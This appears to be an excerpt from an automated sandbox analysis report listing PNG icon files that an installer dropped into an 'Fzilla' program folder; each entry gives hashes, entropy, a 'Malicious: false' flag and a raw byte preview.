Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..1..].@kY,I..A.+......N....w.....Y..3.2.L.TVT(b....r.6...R.f:..\|TU..D.A..s.<...=...<. Nd4.............r8.."U...)..."1q..Pk+Q#.N....>...3...I..!.N.D.........C159.8.m.I.Q....wJ@q>.$F....DD#..1.<..M..B.h"......C..#..W...i&'z........i.....".G.@...6. ..W....3.k.<.w.}lyb"...)...w.x..`nn..~..)M..;....".A.#o6N.._.g..n,..s9...y.8...6W.....7.....v...UT..._>=..q....%....lo.g....Z9d.dt.]....{+....Pt............z..b...x...:....&.q...&..].<.v.......t(G..).....T..%.#Qs..........P....G\..0....v..trQ]8......n=[@.`wO.B9...?W..6{..X......&...).V........m......>.....U+D...{.+.g..y.N.c...h.h..{..>[..iv.....[+&.@D.~.../~f.w............>.........6...........3...0...}....] .+.f}}a.4`....(.....I..q^.(...3.c"bA].y6.i..4&..t......T.0F.3...l}... ......`B(.+%#.6Y........A..1s.M4."b.....^..j...'......?N.._1..14n!e %..P4.......}q.b..M..C9,9>>fcc..H......#:.^..z....M=...Q..tNNN..c;.u.r}.....v..P.h-.J.,7..YD....Z-V.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.862743458087118
Encrypted:	false
SSDEEP:	48:6LHwR+feqCe5icCQamjl2mmZSQrtkDKfrd2Voh1co/E24:67e+feqJktmjl/hKgVoTn34
MD5:	2C94D64626527D4C6481325177392F4E
SHA1:	CC06CB4F5D83B149FBBBEBA43FB7AA95818ECF34
SHA-256:	C479FEE71F104A2EEC517A1ED8E63724F469E6DA68DCBDA7B10F682B0FFE4B8D
SHA-512:	6DB7D120F20EBC3EA46A27A75F64DA0715A7DCE8384C1984E70C69E2A66F27F6AC4AAD9E85D3C7FDB870A56C906E0721ABDD6444AD7BA8F394BEA3380098357F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....p.A...W..v.Qm.v..m..{fl.}Fx...Xq...o..>..<...+.B..+++S.H..d2.,.+......................E.....T(..j..333199....0++...$...>>>._........................t...R..%I.H...JUT^^.EEEXQQ...D.....o........9s..}....5j........9./....{......q6.w.'........8..O.>i..?H~...s.vFFF..h...<..}..q..9a...d.....I.Cw..........P..!M...d..C.h.....Cb..3..>\|x.t..gW.\|.R..j...Vw.....1r.W.\|...k0......].v.........9...ho...]....#?.?}.t.[Ax..qX.v.444.......,YZ^WW.s..%.%-....,I...j.....m.m.m.m.n.7.....<.?./W..h.).a2..eJ..h..1..sUf..L&....Z.B..bQ.....pt^.....N..-..L.A.......0s=...:.._.=mY.z..}...X.m....I.9B..8.C..~.O...]].K.K%.o.`U...).-A..*...}.....~.../....D<..x.N..}.c82.Q)5.{.....x-k.=.l..;.#..NL>,.....@cc#..\.L&C6...36.&..'...'....O(.S_..0^......F.rd\|.".?:...._B3.L4..a.....L_T..D..g.2..:...f...h.+Y)....j.........d.R$d..89.........a...J..}....y.g.T..........T.IPJ28P@.%..hiR.......Co...F43kG..X(z.m..@.>:,..../}W..8nJ.>......0.}y'

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1809
Entropy (8bit):	7.868539144199516
Encrypted:	false
SSDEEP:	48:ANK1EO0ldAHgd6alI9wHtFNPErUpqvZKDFt/Ess:4Ky7ldAAowAktrP+A8ss
MD5:	F59849839E62B9D856BA38A3B3C48758
SHA1:	5E7B35B3DA89E251D14A3159C8695CF8B1026498
SHA-256:	35D59E268B673441363334C40F147E7A77BE6BC1CE86A849F96039F325E8BE86
SHA-512:	E924D47C384F439B5661EB846502ABA66FC6B5DB79751C3A6002588D0BBB2979E597C5069E9F32F30D25EFAF50EDFF1AD26BECC4837AF89CBEFB2FF9636A7006
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V...k.....6..6.E./.m....Ol{l.....{.._z.{q.....s.T......T.^.Z...{.n9..7c.Z..v.fm.u.cg.AK..i?t....tu....9.Xf...:.....e[.......,.ql.'..=..?.\|J.........M.E.......~.K..-.....I..&=...4...{...z..A\|..[.z.]`.c`..`..`.U`6..1..>._.Y..Ns<.).....rz........p.w'>j.c..'..'..G.....Q.`..}v..@...).D..i..c@....V.M>I..;.Wy..K.B.6..;`.3.......).{..m......\|..UNN."g....p 1..4y.O..J..&a.b.LJ.......4.......s....zK..9. ..K..s.U...Z...7...-.v.....M}........QV.\|.....G...y^A1...PRR...$$$.#&&..........7o..j.....>..U..IG#.......j.Y.....yyy(,,DXX(.........p.433....(....ww....wz/i.}k.~.p....7....J%4....\|$&$ 44....buAAA...e"QLii).......O\|'y....cf..R...@O..KJ..+[....!++...?..}$.E..+..S@.5k..W(...p.Q..$@ "...Y.;.....,.c..s.Z..v....M_...9...^...<{.o.J.>....(..D.CBB....V..(....=.9.......iDU.........}.............yy...D....r.....DDGG...........9..........;v......Wdd$....X.Y+...u..;gy^.4,@..zp....-...`Bn..{...HQQ.......B.iK..^.s.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.891958150325809
Encrypted:	false
SSDEEP:	48:Mf0PrjTTqg1G2F5AYfsJ4kuOxzVlBTm1WCGv0Z5eilg5DS6uAuiEg:airt0EYTTmsCGyBO2iEg
MD5:	21C3016F11243C71D1564CE32AC3CC51
SHA1:	C21209121A9C230E587D1D6590EC42D84D7C3CF8
SHA-256:	EF295ECE73C491782EB0F12997760EF4C8A01E563565AD32484CF10C035E0254
SHA-512:	E167F245A6EB8602EDCBF04BB555EF3F8EEA7F9556483ACFD13BB90456F99E198510E030F4FB3D743A00F7189743DD722E13D96FDAC26F686C200111AC6A8D1F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....0IDATx..V..$K....,....\|..m....m...o..[=...ef.#b....5n.8.Q.'.}.....o0.Z.=.'.O...........k/~...K.5..0p..w.._)X:.@.`-..l.fm.....w..&.)Q(8..hH.F........~.....E..-....Ww.\.....Z..VCc....2..^"./.....t.Td...J/.......p.bh.....o...\|....}.i.'.s...;.".Z.f.^...`1.....w1..)1.e..%....D....q...{S....{..%...F1.".5w..S.j.....0H.8..`m......D.1.F.X0x.D...N.3...e..X.-.#.p.rH...)r........5.@H...!.R.T"..A"....v.v.!.S....L;..l.@A.o.....S...4.{....%.......LIy..t.U..8v.1K.i.a1.i.......E...0<......zU.h%.\.U.h...4S3Q..H..@s..`...../..$I..A.t....#...{B.n .e.d#E.I.C/.([e....SB.e.........&j....O.ygq.@.Z..I....q...+...9...t.F...P.PB.(....wFoo.Ss".1=....V:......p...ge\"L......(H1VK..h....\.e.4,..>.PA.s.=.....)....]m.j.zT....hvL.)..g.hDD.%..D...b.L...04..+C...V.^m...%...N.H..A.S....I).d\..6....a...d.Y.C<....... ..\k..k........V.)......9m.....P+..4.(.~...>rh....}..y.ALK Q.u.C.M.6Ir..R.$@......={.<t....."....#.(.i..}...

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2051
Entropy (8bit):	7.887490483446193
Encrypted:	false
SSDEEP:	48:O+cRQjxloUzcrQoGd3thAOlUxb8r9bz4iHZGsuUPFUD:O4YUzcrQoGlAOl08rVMiyUP+
MD5:	A50B7A376F9C3BA09B37E2B252E9196B
SHA1:	2FE3A34908B5C6E7D2E3F0037BE2CC8A21F1D69F
SHA-256:	03310FD97655DED583501961FF7EAAD738BB4EBC34357FB3487258C13CB32666
SHA-512:	BCE29E09E6224021E21DB7F15C7ACD4971D68EB54E002C4247B24675AE67B4C059136E2434D97C57A62B632B1CF1F3DA6F5783A6CC527B3A6DE87F33F63279EE
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V.td......c'c.3..v.m.m.\|...d2V0I+..{...Y....V.U....9..I..l=.-;.S..p..'...t"..e].g..b....{..vuu.....<\|.....?.e<...mgS._.d.....S.}.?..iW,.......W......N2.\:44t...a.".N.......8p.....r....W(.....b.A[ .U......i6....UUU......E,..cL..@QQ........0PpPp8.@..h.ae....Q..n....s.....a....}_).3.P(.H.\..8.qY.....@....9...p.FIqo.}........s......3,B..$....'s..... .9..a8.AV4.......Qm........E.~.GG............ZdD ...W....M...A....O.0=.&... .B.@\|.\.:..ySkk..u.......qn\j(5...w.3...XQ..:W$..I..A...CyY.}.4I....@..p. ...OA.....i?..-.....("A.JA...D....a.-4..k2.@.D^.(o}>.G6......o..h.YH.hK....lO Y.0l.X.iMW...PN)`i....<......k.X.y..............W.E.1]i..@.......w......&.p".......,.'I..v...J.."....F+k..8a~eZ....u.?.... 3.tO)x..+..X.qZ\I.+t.(f..p$q.I.>..C".xo!_<9.aT..Q.y..u\.K!.z@"H...=.P...q9A)e.(..m175..C.8....<......'.>.vI..$...S.!.dE<..i.`p.b\......E'......9..~.l.T.......UH...B...R...rgO.8.k...g.......;..y.../h{.G....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1562
Entropy (8bit):	7.823906733406248
Encrypted:	false
SSDEEP:	24:/NuNVznykzvBJ5KJkTQnHZAypBo+aTWmGdqpDNFelx1D++3M9RUC9eg:/wVLXzZJIJkTEB/MakqlxN++cYCL
MD5:	74B0E17AA2B3E17E8D18EF8E616946DE
SHA1:	DEBCD44BB5CCF4F7094D410974886E24D5D27CD2
SHA-256:	5582EFF3EB69CAB38F91201DEBEDAAF242C28865F22832084E5C83B1004E771C
SHA-512:	CC46DE841B8D23E07A4FF028A2C30FB95BB69288CCBA7755E7C72C3244ED26B8A1DCE502A8102F8714CFB5A1B20E7BCEF5A92CD34F56317963DFEF2FA9AD4670
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....%Y.....U.....^.m[..m..m...6..U....9{..........G.i.y..{.W?...z8...............\|...?.ov3.n.i5[[.'..Hkd...>xP..@R...+..x...v;....+....1..h..B..e.{.F.Y.}......>...&...../....<`dd...f.Y.5......,Ky.....<.wW..3Y..O~..o4.u.^1r....aj...............d.d..c4l.",....-...._../.-3...j._.b.q[....,.~..!...H..H...c+.4.........\[.,.$....aA ...H.......o4.^....eZ.N.p...R...^...H....i YZB.+.....>.........v;,.........`9I.g........-.:sY.....UY.K.q.eL...l.-t..s_O.....g....n.&...~..t.I..$%............+1%!..W..M...^.n.c....F..L{~.u...^.--y.l.z.{..v[.vr\|B....XV"f...~.[X.@.......G....+....x.5vl{..h......].5.M)A.#p.6/.0...:jh...J."C.Y.`....y.3..".Z.....a..M.7..7.!.2.H..i?9..,..a....h.....t0.c..@.Bg....j..y.7m.x.'....1t....(...:..:.@F.b..Bf..9A@....I...O..TUeX.nO....R..-HU"`.U.+..'w2uhJ............W.......G.._t.......:.%.eU....N..U...Q.........G.?....)UQi.o..^.-o..].(jJ.}..>.[V.5).>...a.\|.........4..R.V..^..;..e.\|..H....e

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1959
Entropy (8bit):	7.858973006738095
Encrypted:	false
SSDEEP:	48:OM7DJSblpupbr3JzF+onHB6WBxS7BnUqlx2ki0U9+NLw:OMRIupbrZzFdhTByn5lx2l05E
MD5:	9F2F24382E68DEA83ADEDBF84E2AA62B
SHA1:	2D1A372A71D0BF3F2F055FFE4A5E3C89F7F0CB8D
SHA-256:	122D141DA21261646A2921570EDBFBE07AA3E2ECE3528472AA03486E1084D96F
SHA-512:	3833E6385FDA50182D23A6459646D399DFA9646AD51285F343919303762F2E617A389CE2AA3FEAA80806FEB28B1284130D8D84CFE66F0DE301CDE3DDD16609C2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....nIDATx.....%I.@.....TV.{..c.m...g.m.m.m..U/....xj.g~y.G.......>.....y2<e.Q...O}..=w..@........6w.....K.<...Z...kZ.<.......?..a.y/DMi<a.e.!.vZ.lM.+......7....U{....f...._.....w....g.\.qk...W.5.. .@..&.S.e@...5.(@,..W@.......,H..AuFx...v..~.o...[__.<..I..9.........F......x...J...QX'x...-.(.G.,#vl.qe.u.........u.f.._`g.xR@...:..O.6...g......j.R....V ...BYxl.....$.L3l..i.../.Q_.7nY..-j.....r.".f..(+....Q...L.R..j P @.`4U.f..4...6.T......5....O%.^.....T...u.w@U.6.2...0.V.F{BB\|..l..."P....j@G`m@V..]......@. ....=bliz..I.Aajl.h2.V.5E.u..h'lm....aj.."h.@#....I.CM..).J........./2(F1I?...Y.........8.1.Y. ...2mj.-;..x.H...Y........J.HrGZ8f.......,.I..bboHGGG....{..k./..RLz...x-.h."T.FO[.U......Y...U4+....J....`-.M(...z....._.6X.:)M..-q.o.$.....N. ..>..+.......K...J.....&.....q..,..<{s<.].J..BZ.k..O%...i`C..+ ......T...:L..][...........\|i.W......A.........:..%.}..K/...(Y..^.RK.....:......k..w..o.._.e.....gN;.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.84024650702762
Encrypted:	false
SSDEEP:	48:OxxpZD724VM00uz9FIjAsCiFoNt0VhPnS33ZLLOeT3VdPVkPwIQjVg:OLlV3yjAsCiFozkhPSnZmeHPVkPw3pg
MD5:	327727EF3CB9960127601BBA2BE3BBED
SHA1:	0454FF8C789CAB36F36F3C0DFBF4CCB7D8265BBF
SHA-256:	8F7E3776E96CF9656187F1287F0D91E4D70E088AE6CEA15FCC015BCC5B9607DE
SHA-512:	9927C204C1620A4F3CD93CCF57569BF0A78AA4AD5F507383086B1A48D79001CA1E3EC15D4A23C1451232AA4F188B8BD0737455894D3C0E9F7268304973037E33
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....x.O......iP\k.......k.m.m^..I...gf..l..i.Nq&_.9..w..Z....`.K....#...R....J.<_.-.f..G..T.Gk\..k.^....E..;..wo.I.G..tm.....J.f+.........?.....$.u\......2.!........6.q....g%2......ht<.z'..6.M5..V..4.7.N...w...eL\6.=.Q6Z.tl.}.....;.....`Y.iG.......s...)9l.#.. ./....-O9.'.->.Y..[._.+~...?}bF.....$......yL\.....c 3.P.@i.[..r6.....o.Uy........{..7..pl..z..O?....3......c...:..eP...$.=3.A..#M...!.;...sb...W..3..M...E..........SG.).s..g...L.-8.....]..\|..1.@^k.Hi....M[..q.vo...d......\.`...;?.OM6.].#...h.(XB.....`(c....H..+....l.v%..p...6f../..>..yF#4_..,.$..0......el..H..@A.Q.)x.....Q...........F...a..Ap`.H.S..U.O...~......Kk..8.._..........2.1.....0..a.(......q..._Sux."Ijc..c../.U.b+$i.[>.z.......?..i...{..}.....$1p..k..k.&y.3...).m..R....LV<zm@s@ [GS.5C..m..Dht"X......im.......v.[.:)..../..5F...o...z...=...%YE.+8.......eL.La[..4.).NF.dI.Z...{jk..a....W...._.M.6.......+. o..0.5.xaL..Z.,..0t......p

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1858
Entropy (8bit):	7.851825924477652
Encrypted:	false
SSDEEP:	48:OxhxFlw8NhNv+Q0Oz0ddqwbkgSGKlmcZPpQl7R:O7za8rp+xPddqwZQZPIV
MD5:	65DE055EAC91F828A9D65D02F9E6EFF4
SHA1:	BDDFDE8989C51D15C0591183876ABFCA4527935E
SHA-256:	EFB812C763A5BE67942400578C9F0C41F5CD96251B080F79799ECD69DBEBF483
SHA-512:	935D983CA251967ECE999243FBBFC6DBB22F5BF293DF0A6737AB81DAEF1B507F1D311031CD464588924CB0CDC0BF00EAFB8B98CB78688E136F439502AC79C76F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...5.+..EwU.p.33C.......9.3.ff......c...}o...4O...{..U..8!.........>.eQ....TCtXenn..E?......s.By..MS;.$O.(...y.."...D....]...{..!..........~.?64r.5C......:..>....Rd..._.....G.....x..HQ...(...f>.........).P.r.L(.a.6Ei.<+.[.(.....J..`.+.n^?..#..<.....fE....j./........&.0...T{.(RsG.I..4g..6V<..ztW....>..`^.`...(\J.b.i.$G.I..M....=.h.wr;..E .pG.....b..v....6./.dH&.I...G..1....... ..h..f~.A/x.n+..... ..(.....cP.V.Y. ......'(O.h....d&...?Hy.}.g........d&3u..0..... ..h..%.0..`..A...p[..6....,...B2..q:.;`s..!e..9D.....,..:Pn.....:.@.X.0..#c.c....$D.2..e.B.'..E.@.....I.....J......Z./.O....BY.9.8X.q9.h5..H.D.....@.A.0Gq.....!...!Q`..[''@BJH3Psm. ..JG.....yB.vCr....b...o..bFD....-j.O.....>g!........#........%..R^..P..qxw..i(..........1..........D..gqC..0.YAL..I...K6........l`.=3+Vm.n......iz....Z.....KD....\|.+l.g."..f........E..K.....R.sB...nXQ@n....F........pT.ooV.[i.U...m.M.r.....P ..A.<.G.x.I....m@..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.86046184696993
Encrypted:	false
SSDEEP:	48:nOUsTl0e251vz49UfRLMiCvfQ9F+raEEUOSo5tNukPSY7:ITSfPbPBWfocAUO9z1
MD5:	6B83C40D286D5D03B058720836FD150C
SHA1:	1FB13A8C68DB9EAB64B8E4EF57CD3B4F381AC275
SHA-256:	DB2724DCE56D66AB12D3D5598B582E770DBBE0564F9C5483DC16038802EEE201
SHA-512:	2927E00FDB59B5A70104EECE212516C36988EFC81135E7C378AEEE6BA28020D41321E38CB275EFBD0CDE413CA705AB93DBD02265D311D2BC3F0626165FF21368
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....^IDATx..U.t.1....aN....33.w......k...3S..9..9.zuZ...+.....d.....P..'_.n.L.=...w.pv...6.e..=...tT.B,.4k...H....[...t.o.F....k.... ..LLD&..B.}}..BQ...Xhab"..H....Q......T.X...i.s.Z.i.P.S........T.xO....m.4....J.*.P.P.Z.I.......!..6.k...!.NS.Eq......D.-.X.t<...C..sc.E..gE.57......C....p.D.PTcK..t<.T..EZ..ClYy9..-........Qcke...WO.........ji..5..Qx..>.O.iK...C..T@..Y\P.k.&.Z.i..Q.i.J..3.D.Y{o.a...;}}(3v....:..'.S[.6......4um0..n<.D.........Ow...~...K..\.hh=..X.s...b.~.....D..t.JU....Z...jt@.....?8.\|H0.F....[w.&MZ.d.....g.....-s.k.U..Lt.M.P..y...Q...n~.._z....e..\}...........+.p....p...9s.....v...K$.:..<K.[..C..^.....9i......V..e.t....P. .........5]5w..}...J;.h8.......y}....5......N.9=H...l.z.g.t...}....Z./.k.Ac..?.W....T....G...P.....+..;.@:Q.rP!..'...H...o.L.8g.L.;..wm./].....E...zJ...~.Vv...m.)....F7.....t3#...Q...>3E(..@9t....^..-&\|+....-Y....9..T....mf0i..\..Q)..zz(zQx...T.\|....}...y...l.8..5......Y.Sm.Y.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	7.802705458504437
Encrypted:	false
SSDEEP:	24:G72l+4HwnHzWlg68PVXRnzYQrMbuvRaUIy1n/K4YCkEFzok19tsa8LgDeRV4:9TKzWKdPVXJ0+q6dIGy4YJENz9saTDeI
MD5:	8F5822A03E7A8A0590DE413D73FF92E8
SHA1:	0FDA32FA3A4E6B0993D21CD8CB2E7636CA14D0B1
SHA-256:	51300DC8F3578FE512B4D42A0109465D255057CAECF40E0090366D6B5D06717D
SHA-512:	0CB877F39E5050B0924331D60CEBF1C532F9F4B592C01CC895A5BF14A55F01D3AAD94D4C8EA80634EACC12669224C3DD7306A8B07D01147CF1DDF85E241ED068
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz...."IDATx.b..Q.mia.>...T`` ]0.... .A.ppss.............-1..... ;Av......q............L4...Ab.4u..;.5M....y..g.KYqH.......@.gG._.1......!..yq.s.{..^.............ZF".G<...H$x......%-..j.....f...d....3pt.P(.l6K.^...j.....b.g..r...m4....e....Z..f.z.J%........0i.....R)t:..F#<??c<......@...F.?..A....t)O..b.........F....l.`0...........&?.....@>.....z......q...}..s...{bmm.....&.ww...[.4...^..K@.l6.nYc._..)..)...0..`4.{%.N.......W.Ce.....Q.Vq}}....0..HD......+Y.G.Qi....@:...V....GpNp.R-......].Kz.....4@.........j..f.....\|JlR.N..R.P....,......P.vf.......OOO.v..........R.s.P....D8..PR.....3..\|B...B...\|Z.T.\|~.N.t.3r.,2.."...Kz6..O.g)...^..=..$.$......B>.x.>q.......v..z.j.{{.j4..X./v;9F.4 ..7.$]....)..-0.\...:..8....9;..W...`=....'.m.nj...j.9.m....g....1...>W.z.....G/<../..x...8aI..u.......{.o......`......).U,}......a..fq......a.f...^..7q.l...j-.;Q..e"}E..w.S.}.....W....P.' ".....6..q~q..Be......u..l.Mf....c._.....2.....N....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2005
Entropy (8bit):	7.888174986967833
Encrypted:	false
SSDEEP:	48:O5sLfB9aG3CHGemXa9kU/A6qr2ie4ybvcLHT3c:O5c87VCU/ICcYcHjc
MD5:	9FD2443CD1987845102A5CA2DE3F9957
SHA1:	0F0125AF2842B8A1DE7C0DC9DC33EAB47CFA649C
SHA-256:	F100E09709DE8DE0B8B6F219AD3C9F5FA55DE13EA9494B12977234B77DC084B5
SHA-512:	120E6DA12BFB337F7E0FCAA1E1D6D9BB64EA9CD6A69C39E0461CBC7995AD958B5D563636DC112CF11D7EDBC966605369408B02F17324CDBCD25D8A64B6366DB9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....dY.....2..v....m.m....=.*Q......)._..'n....../...........7....HQ.K...0\.y..#..i%.{&..k?..sV../9J.\|.7..)..(.v.....!.{e.S.i'.........Q^.....G.,Z0o?..U&.4v.....q....PX4..W8..cPe2...k............L@..D@.[c...R...p...t.8.R.tp...^{U.'.W...f.....,.v.I.v.......................5....'.h!i..".2.v8\|q..N....S..r.{.D.f...]..S.^h<..ims."...b..>....F..1..&...5&..9..._....~.;.qQ...h...(8.i7.Z......G.?2.(p..S\|.\|G..w5. ..V....Kw..M..-...r...3_.....y....@.z..f..Oz.O9b.e...../.q}.'..(.H...6.FB.q.....FA...u/._...H..N0i....Z.z.....KV.J.n!.s..r..!....b!W.M)..-.].D.V.4Sj....I,J-N....I.b.V4K..~{..x.py..R8.s.3.9f.n.b..~d..k..,.......0}.H8b.q-2...3Nw.?.m`..&B#s.S.../x/K........le..UQ;..i.?\|..._..oh...C..D......p.A..K.<.y...(...?...g..B...p...k.u.;.."...\|>..~..?.Qh..3w.......:.....h........0...>J.(..2.p>f....[LH.7DG_..\|./._...8x.......k.X....8.u.f..C...y.m..y.....@D.=~T.4w..9...^A:......\..6..#....H..3..=.~.-.".^

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1386
Entropy (8bit):	7.824063085785144
Encrypted:	false
SSDEEP:	24:v/ym/Td+laZd62CcCkTzgXktRsSeh0iKIZ5hONXVieZ38ZNZaaMZskRMR+3WoeX5:v9qcCa0XkrG0iBWNXLZi3aaMZskRXmLp
MD5:	A73257C3ED8C413656242CA0C8ED2E70
SHA1:	98B969F77F58B4170DA13FEFB1BA6ADDE826A4D2
SHA-256:	4FFE31C7EABBEC8540DB9BF0AFE39CCC27C198BC3EEEBD04FAF50B1611C80C5A
SHA-512:	AF2982031634326ABCE9C55206D45477EC4960ED1F60BC8DA9E25AB1C403ED358E705869C30540F97FF65C9E24468095A22724FA9E4D6A7E37803B639188F3D3
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....1IDATx.....#O........-.\\|.m.m.m.,}.q.o....$3....U..C....2~.Vu8.\.&/.i..2q.....un.q.;>.....p.[...'...a......y.\|.....[-o.......'...e..2.7mx..ou...s'.3.^....p.+^.6.N..c.......M.z.].....'.....s......\|....y..O=../....[^..;.....1iJ5PT..Y..Lw..W..W.....o.`..`.....z..6.9S5./..jJQ..@KA;........e.t.;..S...`...fg_.......G.W.G.....G...Z.u......l.......k.Y...W..{.....l......R...Pu.....PW....%.......{\|..\|....'B.C6......];....`.....gtL....).=.(.<..B..15?u.l.q.g......%......=.~........X".%6._....;jy[`.g..f4..).'..l.n{[.O.......}.3....w...u.Q..E[.v..9".%<...0.`..Z.........z$..w..+o.`...6^..\|...w..S'..>Mh........z=.$.B[....G?".!:I.J.....2/....ha.h.\|..31..c...S.........Uo..'......Y..y..I...[7...oD...M.."O.]..%U.0F_.Z.......+.$..u&..rz...z7.........?.^............}{... .@..T=..!.t..=5...<.........V.D.....Ox.K.?....i....VG.aR..?...]...~./C..n.........$P.....s...tn]z...!...;v....fI........]..........e.@0x..[..T.D..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.866604030606009
Encrypted:	false
SSDEEP:	48:xayRIbUfwrQZRTyXIFaXG5Sj4E1nx85i1tF6LA8:xjfwrQZ5uG5SJ1x+iF6LA8
MD5:	D610191F5D672B3A91D648F8478475D6
SHA1:	AE04D8FB1682E6F1B08C1C5EE7B678E256B349B0
SHA-256:	09B06F8D4B0E21097A774FBD79B5054112A9910A08E3269DD56C35C018462157
SHA-512:	48119B467896BDC0BDAB906AE9FBAFC98E40E66589E912CA03010A671355F39AC5808AAD45C3E0592DA352580832A2056261754E4287474C748BEC8E5E0A4A60
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$M.@_....3=...q.m.m.....m.....tU.2.Y..o......~i..../{c/.Q.,..~..s.V.yy.iw....yV. f.5........S\.+..j.....nw~...C...^..\| .`..JL....=...0....?.....?....p5.]..-.....Y...d...7..........S..'.F.............0......j..7>..w\|...7.2.aF.....:;......f......V4.........../`;,^.n.v..<...E...5,..H......q.._...?...O~.8...q....y...............C...D+b..<.pS....'........&..nZ..)..j]........M._..G?..{I...h.R4EH..]....:.t..h$..q...3;.5.F!%#?".6n..........R.."....6o~........9.hv@S)4`.b.S.......w$..nebb...W."Lf'....gJ.....mo. .&"...k.w>...\,`....ly.k....;.h0KC)..Z...q.%`=.>t..+.$S...,i-.x.h&'...'.#3"..U.7h...#B...S.b..6o~.K.......H..D.F....~.!....)..+.E.....h.G;.Mc.A.$j..C2.c.......!-..Kvn..w=..8y...$..9=&...n....#....D....)!-R.xD......'....Y.:.h8][...dNO.....l.../y.....d85....<.;Lp.s....z.u.\|u...F..U..}.6.n.a..w.../......}H.......m..5;v...z...'O..L."...93....[.....+...5.<.1*A+.x..xyr..w...^o.bP../.....OU...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1653
Entropy (8bit):	7.848903233529697
Encrypted:	false
SSDEEP:	48:IQhz7G+3ciq35ka7jB9QkotDSnM7/2gopsm8iSwWb4:IQt7lciEh7jB9z3BVSwWb4
MD5:	46297C04805EDB41238BD691E809731D
SHA1:	CE882D16271D887FB1B899843BB2B0F0DB158BE3
SHA-256:	BF2F064AA74DF7EFE0F04E1DE0A2EAD434B7375F8D27E8A660E5B172A0BDEAA9
